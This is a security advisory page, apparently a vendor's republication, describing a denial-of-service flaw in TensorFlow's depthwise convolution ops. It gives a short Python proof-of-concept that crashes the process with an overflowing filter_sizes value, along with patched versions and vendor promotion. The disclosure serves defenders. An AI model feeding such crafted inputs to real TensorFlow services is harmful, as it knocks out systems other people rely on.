GHSA-mw6j-hh29-h379
`CHECK` failure in depthwise ops via overflows
Blast Radius
tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-gpu🐍tensorflow-gpu+1 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:
import tensorflow as tf
input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")
This is another instance of TFSA-2021-198 (CVE-2021-41197).
Patches
We have patched the issue in GitHub commit 3796cc4fcd93ae55812a457abc96dcd55fbb854b.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.6.4 |
| 🐍PyPI | tensorflow | ≥ 2.7.0&&< 2.7.2 | 2.7.2 |
| 🐍PyPI | tensorflow | ≥ 2.8.0&&< 2.8.1 | 2.8.1 |
| 🐍PyPI | tensorflow-cpu | all versions | 2.6.4 |
| 🐍PyPI | tensorflow-cpu | ≥ 2.7.0&&< 2.7.2 | 2.7.2 |
| 🐍PyPI | tensorflow-cpu | ≥ 2.8.0&&< 2.8.1 | 2.8.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tensorflow to 2.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mw6j-hh29-h379 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mw6j-hh29-h379 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mw6j-hh29-h379. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mw6j-hh29-h379 in your dependencies?
O3 detects GHSA-mw6j-hh29-h379 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.